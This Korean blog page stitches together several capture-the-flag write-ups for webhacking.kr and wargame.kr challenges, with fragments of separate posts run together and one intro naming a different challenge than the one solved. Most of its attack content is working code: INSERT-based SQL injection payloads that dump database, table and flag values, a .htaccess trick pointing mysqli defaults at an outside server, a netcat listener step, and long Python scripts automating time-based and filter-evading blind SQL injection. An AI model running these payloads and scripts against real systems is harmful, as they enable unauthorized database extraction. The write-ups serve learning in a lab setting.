자신의 서버에서 nc -lvp 옵션을 켜서 원하는 포트를 입력하고 값이 올 때까지 새로고침을 해주도록 합니다.


'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No35(350) - old  (0) 2020.01.06
Webhacking.kr_No34(400) - old  (0) 2019.12.31
Webhacking.kr_No33(200) - old  (0) 2019.12.31
Webhacking.kr_No32(150) - old  (0) 2019.12.31
Webhacking.kr_No30(550) - old  (0) 2019.12.31
Webhacking.kr_No.29(400) - old  (0) 2019.12.31
Webhacking.kr_No13(1000) - old  (0) 2019.12.15
Webhacking.kr_No.28(500) - old  (0) 2019.10.25


해당 문제를 풀기 위해서는 공인아이피로 접근이 가능한 개인 서버가 필요합니다.!


위와 같은 문제를 봤을 때는 파일 업로드 문제구나 싶습니다.

그런데, 소스를 보면 파일 업로드에 대한 필터가 전혀 되어 있지 않는 것을 볼 수 있습니다.

그래서 처음에는 문제 소스가 잘못 알려준 게 아닌가 싶어서 이리저리 취약점이 있는지 찾아보았는데...



<?php
  if($_GET['view_source']) highlight_file(__FILE__);
  $db = mysqli_connect() or die();
  mysqli_select_db($db,"chall30") or die();
  $result = mysqli_fetch_array(mysqli_query($db,"select flag from chall30_answer")) or die();
  if($result[0]){
    include "/flag";
  }
?>


위와 같이 3번 라인에서 mysqli_connect() 함수에 아무런 정보가 없는 것이 취약하다는 것이었습니다.

보통의 경우에는 mysqli_connect() 함수에 다음과 같은 형태로 접속 정보를 입력하도록 되어있습니다.



만약 위와 같은 정보를 입력하게 되면 mysqli_connect()에 사용할 정보를 .htaccess에서 혹은 php.ini에서 default 정보를 가져와 사용하게 됩니다.

https://www.php.net/manual/en/ini.list.php


이전과 다른 점이 있다면 이전 old 문제에서는 mysql_connect() 함수였기 때문에 mysql.default_port, mysql.default_user, mysql.default_password 라는 값에 원하는 값을 넣고 조작을 할 수 있었다면, 이번 문제에서는 mysqli_connect() 함수라는 점이 다릅니다.


mysqli_connect()에서 사용하는 default 정보는 위와 같습니다.

mysql.default_password와 mysqli.default_pw라는 점이 조금 다르고 나머지는 i가 붙은 거 외에는 다른 점이 없습니다.


이제 개인 서버에 접속할 때 긁어오는 SELECT 구문에 맞춰 아무렇게 database, table, column을 생성해줍니다.



또한 접근을 위해 계정을 하나 만들어주도록 합니다.

만약 mysql 서버가 Ubuntu 18.04에서 구동중이라면 다음과 같은 설정을 주석처리해주어야 합니다.

경로는 /etc/mysql/mysql.conf.d/mysqld.conf 파일입니다.


.htaccess에는 다음과 같이 정보를 넣어주었습니다.


php_value mysqli.default_host "kkamikoon.com:3306"

php_value mysqli.default_user "kkamikoon"

php_value mysqli.default_pw "비밀번호"



'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No34(400) - old  (0) 2019.12.31
Webhacking.kr_No33(200) - old  (0) 2019.12.31
Webhacking.kr_No32(150) - old  (0) 2019.12.31
Webhacking.kr_No31(150) - old  (0) 2019.12.31
Webhacking.kr_No.29(400) - old  (0) 2019.12.31
Webhacking.kr_No13(1000) - old  (0) 2019.12.15
Webhacking.kr_No.28(500) - old  (0) 2019.10.25
Webhacking.kr_No.27(150) - old  (0) 2019.10.25


문제를 보면 위와 같이 컬럼으로 보이는 정보를 던져줍니다.

파일을 업로드하면 업로드한 시간, 내 아이피, 파일 이름을 보여줍니다.

여기서 딱히 공격할 곳이 없어서 고민하는 도중 혹시 Insert에서 공격이 가능하지 않을까 해서 여러 시도를 해보았습니다.



위와 같이 공격을 시도한 것은 컬럼의 생김새가 어떻게 생겼을까 계속 고민하다가 잘 때려맞춰서 가능하였습니다.

컬럼 순서는 '파일이름', 타임스탬프(INT), '아이피' 순입니다.

꼬아 놓다니ㅣ... ㅠㅅㅠ...


위와 같이 정보를 막 입력하다보면 나오게 될 것입니다.

공격을 수행했던 코드는 다음과 같습니다.


< TEST를 위한 공격 코드 >

 filename="kkamikoontest!!', 1234, '내 아이피 직접 입력')#" 


< DB 정보를 가져오는 공격 코드 >

 filename="kkami Dummy', 1234, '내 아이피 입력'),((SELECT database()), 1234, '내 아이피 입력')#"

 filename="kkami Dummy', 1234, '내 아이피 입력'),((SELECT table_name FROM information_schema.tables WHERE table_schema='chall29'), 1234, '내 아이피 입력')#"

 filename="kkami Dummy', 1234, '내 아이피 입력'),((SELECT table_name FROM information_schema.tables limit 1,1), 1234, '내 아이피 입력')#" 

 filename="kkami Dummy', 1234, '내 아이피 입력'),((SELECT column_name FROM information_schema.columns where table_name='flag_congratz'), 1234, '내 아이피 입력')#"

 filename="kkami Dummy', 1234, '내 아이피 입력'),((SELECT flag FROM flag_congratz), 1234, '내 아이피 입력')#" 




'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No33(200) - old  (0) 2019.12.31
Webhacking.kr_No32(150) - old  (0) 2019.12.31
Webhacking.kr_No31(150) - old  (0) 2019.12.31
Webhacking.kr_No30(550) - old  (0) 2019.12.31
Webhacking.kr_No13(1000) - old  (0) 2019.12.15
Webhacking.kr_No.28(500) - old  (0) 2019.10.25
Webhacking.kr_No.27(150) - old  (0) 2019.10.25
Webhacking.kr_No.26(100) - old  (0) 2019.10.24

Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 Crypto Crackme Basic 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각보다 공격 포인트는 간단하지만, 공격 코드 짜는 게 여간 힘든 일이었습니다.


 

 문제 이해


문제는 다음과 같습니다.


친절합니다.


위에서 Time Based SQL Injection 이라고 알려주었습니다.

다만 그외에 정보가 따로 없습니다... Database, Table, Column이름을 모두 알아내야 합니다.


아래에서 공격 벡터를 찾기 위해 쭉 찾아보았는데,


to JSMaster 부분에서 POST값으로 보내는 type 부분에서 sleep 함수가 통하며, Time Based SQLi가 되는 것을 확인하였습니다.



아래의 코드와 같이 테스트하였으며, 2초 뒤에 반환되는 것을 보았습니다.



 

 문제 풀이


문제를 풀기 위한 코드입니다.

모두 두 가지로 나누었으며, MySQL 내부의 정보를 긁어오는 코드와 이를 이용하여 풀이를 진행한 코드입니다.


다만 유의해야 할 점은 싱긍쿼터가 필터링 되어 있기 때문에 HEX 값으로 대신 문자열을 비교하였습니다.


 

 MySQL Scanner(Python3)



import requests
import string
import time

def str2hex(string):
    return '0x'+bytes.hex(string.encode())


requests.packages.urllib3.disable_warnings()
headers     = {
    "Cookie" : "여러분의 쿠키값"
}
proxies     = {
    'http'  : 'http://localhost:8888',
    'https' : 'http://localhost:8888'
}
data        = {
    "cont"  : "kkamikoon",
    "mail"  : "kkamikoon",
    "type"  : "%s"
}
URL         = "http://wargame.kr:8080/qna/"


# Database Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
for i in range(100):
    tmpTime         = time.time()
    data['type']    = "1 and if(length(database())=%s,sleep(3),1)" % i
    res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

    if (time.time() - tmpTime) >= 1.5:
        print("[+] Found Database Length : %d" % i)
        dbLen = i
        break
    else:
        pass


bitLen = 8
dbName = ""

for dblen in range(1, dbLen+1):
    
    tmpBit = ""

    for blen in range(1, bitLen+1):
        tmpTime         = time.time()
        data['type']    = "1 and if(substr(lpad(bin(ord(substr(database(),%(dblen)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"dblen" : dblen, "bitLen" : bitLen, "blen" : blen}
        res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

        if (time.time() - tmpTime) >= 1.5:
            tmpBit += "1"
        else:
            tmpBit += "0"


    dbName += chr(int(tmpBit,2))
    print("[+] Found Word : ", dbName)

print("[+] Found DB Name : %s" % dbName)




# Table Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
dbName  = "qna"

# Table Count
for count in range(100):
    tmpTime         = time.time()
    data['type']    = "1 and if((select count(table_name) from information_schema.tables where table_schema=%(dbName)s)=%(count)s,sleep(2),1)" % {"dbName" : str2hex(dbName), "count" : count}
    res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

    if (time.time() - tmpTime) >= 1.5:
        print("[+] Found Table Count : %d" % count)
        tableCnt    = count
        break
    else:
        pass


# Table Length
tableLen = []

for tcnt in range(tableCnt):
    for length in range(100):
        tmpTime         = time.time()
        data['type']    = "1 and if((select length(table_name) from information_schema.tables where table_schema=%(dbName)s limit %(tcnt)s,1)=%(length)s,sleep(2),1)" % {"dbName" : str2hex(dbName), "length" : length, "tcnt" : tcnt}
        res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

        if (time.time() - tmpTime) >= 1.5:
            print("[+] Found Table Length : %d" % length)
            tableLen.append(length)
            break
        else:
            pass

print("[+] Found All Table Length : ", tableLen)


# Table Name
bitLen      = 8
tableName   = []

for tcnt in range(tableCnt):

    tmpName = ""

    for tlen in range(1, tableLen[tcnt]+1):
        
        tmpBit = ""

        for blen in range(1, bitLen+1):
            tmpTime         = time.time()
            data['type']    = "1 and if(substr(lpad(bin(ord(substr((select table_name from information_schema.tables where table_schema=%(dbName)s limit %(tcnt)s,1),%(tlen)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"dbName" : str2hex(dbName), "tlen" : tlen, "bitLen" : bitLen, "blen" : blen, "tcnt" : tcnt}
            res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

            if (time.time() - tmpTime) >= 1.5:
                tmpBit += "1"
            else:
                tmpBit += "0"


        tmpName += chr(int(tmpBit,2))
        print("[+] Found Word : ", tmpName)

    print("[+] Found Table Name : %s" % tmpName)
    tableName.append(tmpName)

print("[+] Found All Table Name : ", tableName)





# Column Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
dbName      = "qna"
tableCnt    = 2
tableName   = ['authkey', 'message']
columnCnt   = []

# Column Count
for tcnt in range(tableCnt):
    for count in range(100):
        tmpTime         = time.time()
        data['type']    = "1 and if((select count(column_name) from information_schema.columns where table_name=%(tableName)s)=%(count)s,sleep(2),1)" % {"tableName" : str2hex(tableName[tcnt]), "count" : count}
        res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

        if (time.time() - tmpTime) >= 1.5:
            print("[+] Found Column Count : %d" % count)
            columnCnt.append(count)
            break
        else:
            pass


# Column Length
columnLen = []

for tcnt in range(tableCnt):

    tmpLen = []

    for ccnt in range(columnCnt[tcnt]):

        for length in range(100):
            tmpTime         = time.time()
            data['type']    = "1 and if((select length(column_name) from information_schema.columns where table_name=%(tableName)s limit %(ccnt)s,1)=%(length)s,sleep(2),1)" % {"tableName" : str2hex(tableName[tcnt]), "length" : length, "ccnt" : ccnt}
            res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

            if (time.time() - tmpTime) >= 1.5:
                print("[+] Found Column Length : %d" % length)
                tmpLen.append(length)
                break
            else:
                pass

    columnLen.append(tmpLen)

print("[+] Found All Column Length : ", columnLen)



# Column Name
bitLen      = 8
columnName  = []


for tcnt in range(tableCnt):

    tmpNameList = []

    for ccnt, clen in enumerate(columnLen[tcnt]):

        tmpName = ""
        
        for cl in range(1, clen+1):

            tmpBit = ""

            for blen in range(1, bitLen+1):
                tmpTime         = time.time()
                data['type']    = "1 and if(substr(lpad(bin(ord(substr((select column_name from information_schema.columns where table_name=%(tableName)s limit %(ccnt)s,1),%(cl)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"tableName" : str2hex(tableName[tcnt]), "cl" : cl, "bitLen" : bitLen, "blen" : blen, "ccnt" : ccnt}
                res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

                if (time.time() - tmpTime) >= 1.5:
                    tmpBit += "1"
                else:
                    tmpBit += "0"

            tmpName += chr(int(tmpBit,2))
            print("[+] Found Word : ", tmpName)

        print("[+] Found Tmp Column Name : %s" % tmpName)
        tmpNameList.append(tmpName)

    print("[+] Found Column Name : ", tmpNameList)
    columnName.append(tmpNameList)

print("[+] Found All Column Name : ", columnName)


    



 

 Solve(Python3)



import requests
import string
import time

def str2hex(string):
    return '0x'+bytes.hex(string.encode())


requests.packages.urllib3.disable_warnings()
headers     = {
    "Cookie" : "여러분의 쿠키값"
}
proxies     = {
    'http'  : 'http://localhost:8888',
    'https' : 'http://localhost:8888'
}
data        = {
    "cont"  : "kkamikoon",
    "mail"  : "kkamikoon",
    "type"  : "%s"
}
URL         = "http://wargame.kr:8080/qna/"


# Value Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Value Count
for i in range(100):
    tmpTime         = time.time()
    data['type']    = "1 and if((select count(authkey) from authkey)=%s,sleep(2),1)" % i
    res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

    if (time.time() - tmpTime) >= 1.5:
        print("[+] Found Value Count : %d" % i)
        valueCnt = i
        break
    else:
        pass

# Value Length
for i in range(100):
    tmpTime         = time.time()
    data['type']    = "1 and if((select length(authkey) from authkey)=%s,sleep(2),1)" % i
    res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

    if (time.time() - tmpTime) >= 1.5:
        print("[+] Found Value Length : %d" % i)
        valueLen = i
        break
    else:
        pass

bitLen      = 8
valueLen    = 40
value       = ""

for vlen in range(1, valueLen+1):
    
    tmpBit = ""

    for blen in range(1, bitLen+1):
        tmpTime         = time.time()
        data['type']    = "1 and if(substr(lpad(bin(ord(substr((select authkey from authkey limit 0,1),%(vlen)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"vlen" : vlen, "bitLen" : bitLen, "blen" : blen}
        res             = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)

        if (time.time() - tmpTime) >= 1.5:
            tmpBit += "1"
        else:
            tmpBit += "0"


    value += chr(int(tmpBit,2))
    print("[+] Found Word : ", value)

print("[+] Found Value : %s" % value)







문제를 보면 위의 제출 버튼을 누르는 입력 값에 값을 넣었을 때 result가 1 아니면 0이 나옵니다.

위의 GET 메소드 변수를 보니 String이 아닌 Integer 값인 것 같습니다.


여기서는 0x 값도 필터링 되어 있으니 0b로 수행하였습니다.

또한 띄어쓰기가 모두 필터링 되어 있어서 order by, limit(리밋은 문자 자체가 필터링) 등이 불가능하였고, select도 소괄호로 묶어서 수행하였습니다.


필터링 : 띄어쓰기관련 전부, hex, instr, 0x, limit, and, where 등..



import requests
import string
import re


requests.packages.urllib3.disable_warnings()
proxies     = {
    'http' : 'http://localhost:8888',
    'https': 'http://localhost:8888'
}
URL         = "https://webhacking.kr/challenge/web-10/?no="


def str2bin(string):
    return '0b'+''.join(format(ord(x), 'b').zfill(8) for x in string)

def ord2bin(number):
    return '0b'+format(number, 'b').zfill(8)

# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Database Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

dbLen       = 0

for i in range(100):
    payload = "if(length(database())in(0b%s),1,0)" % bin(i)[2:]
    res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

    if "<td>1</td>" in res.text:
        print("[+] Found Database Length : %d" % i)
        dbLen = i
        break
    else:
        pass

bitLen      = 8
Database    = ""

for dblen in range(1, dbLen+1):

    tmpBit  = "" 

    for blen in range(1, bitLen+1):
        payload = "if(substr(lpad(bin(ord(substr(database(),%(dblen)s,1))),%(bitLen)s,0),%(blen)s,1)in(1),1,0)" % {"dblen" : dblen, "blen" : blen, "bitLen" : bitLen}
        res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

        if "<td>1</td>" in res.text:
            tmpBit += "1"
        else:
            tmpBit += "0"

    Database += chr(int(tmpBit,2))

print("[+] Database Name : %s" % Database)

#TableLen = [0 for x in range(1,TableCnt+1)]
#Min

# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Table Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Database    = "chall13"
TableLen    = 0

for i in range(200):
    payload = "if((select(length(min(if((select(table_schema)in(%(DatabaseBin)s)),table_name,null))))from(information_schema.tables))in(%(i)s),1,0)" % {"DatabaseBin" : str2bin(Database), "i" : i}
    res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

    if "<td>1</td>" in res.text:
        print("[+] Found Table Min Length : %d" % i)
        TableLen = i
        break
    else:
        pass

TableName = ""

for tlen in range(1, TableLen+1):
    for binStr in range(20, 128):
        payload = "if((select(substr(min(if((select(table_schema)in(%(DatabaseBin)s)),table_name,null)),%(tlen)s,1))from(information_schema.tables))in(%(binStr)s),1,0)" % {"DatabaseBin" : str2bin(Database), "binStr" : ord2bin(binStr), "tlen" : tlen}
        res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

        if "<td>1</td>" in res.text:
            TableName += chr(binStr)
            break
        else:
            pass

    print("[+] Found Table Word[%d] : %s" % (tlen-1, TableName))

print("[+] Found Table Name : %s" % TableName)


# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Column Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
ColumnCnt   = 0

for i in range(1000):
    payload = "if((select(count(if((select(table_name)in(%(TableName)s)),column_name,null)))from(information_schema.columns))in(%(i)s),1,0);"
    payload = payload % {"TableName" : str2bin(TableName), "i" : i}
    res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

    if "<td>1</td>" in res.text:
        print("[+] Found Table Count : %d" % i)
        TableCnt = i
        break
    else:
        pass


ColumnLen   = 0

for i in range(200):
    payload = "if((select(length(min(if((select(table_name)in(%(TableName)s)),column_name,null))))from(information_schema.columns))in(%(i)s),1,0)" % {"TableName" : str2bin(TableName), "i" : i}
    res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

    if "<td>1</td>" in res.text:
        print("[+] Found ColumnLen Min : %d" % i)
        ColumnLen = i
        break
    else:
        pass



ColumnName = ""

for clen in range(1, ColumnLen+1):
    for binStr in range(20,128):
        payload = "if((select(substr(min(if((select(table_name)in(%(TableName)s)),column_name,null)),%(clen)s,1))from(information_schema.columns))in(%(binStr)s),1,0)" % {"TableName" : str2bin(TableName), "binStr" : ord2bin(binStr), "clen" : clen}
        res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

        if "<td>1</td>" in res.text:
            ColumnName += chr(binStr)
            break
        else:
            pass

    print("[+] Found Column Word[%d] : %s" % (clen-1, ColumnName))

print("[+] Found Column Name : %s" % ColumnName)


# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Flag 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Database    = "chall13"
TableName   = "flag_ab733768" # Table Name should be Lower Case
ColumnName  = "FLAG_3A55B31D"
ValueLen    = ""

for i in range(1000):
    payload = "if((select(length(max(%(ColumnName)s)))from(%(Database)s.%(TableName)s))in(%(i)s),1,0)"
    payload = payload % {"Database": Database, "TableName" : TableName, "ColumnName" : ColumnName, "i" : i}
    res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

    if "<td>1</td>" in res.text:
        print("[+] Found Value Length : %d" % i)
        ValueLen = i
        break
    else:
        pass

Flag        = ""

for vlen in range(1,ValueLen+1):
    for binStr in range(20,128):
        payload = "if((select(substr(max(%(ColumnName)s),%(vlen)s,1))from(%(Database)s.%(TableName)s))in(%(binStr)s),1,0)"
        payload = payload % {"Database": Database, "TableName" : TableName, "ColumnName" : ColumnName, "vlen": vlen, "binStr" : ord2bin(binStr)}
        res     = requests.get(url=URL+payload, proxies=proxies, verify=False)

        if "<td>1</td>" in res.text:
            print("[+] Found Flag Word[%d] : %s" % (vlen, chr(binStr)))
            Flag += chr(binStr)
            break
        else:
            pass


print("[+] Found Flag : %s" % Flag)



'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No32(150) - old  (0) 2019.12.31
Webhacking.kr_No31(150) - old  (0) 2019.12.31
Webhacking.kr_No30(550) - old  (0) 2019.12.31
Webhacking.kr_No.29(400) - old  (0) 2019.12.31
Webhacking.kr_No.28(500) - old  (0) 2019.10.25
Webhacking.kr_No.27(150) - old  (0) 2019.10.25
Webhacking.kr_No.26(100) - old  (0) 2019.10.24
Webhacking.kr_No.25(150) - old  (0) 2016.12.08

+ Recent posts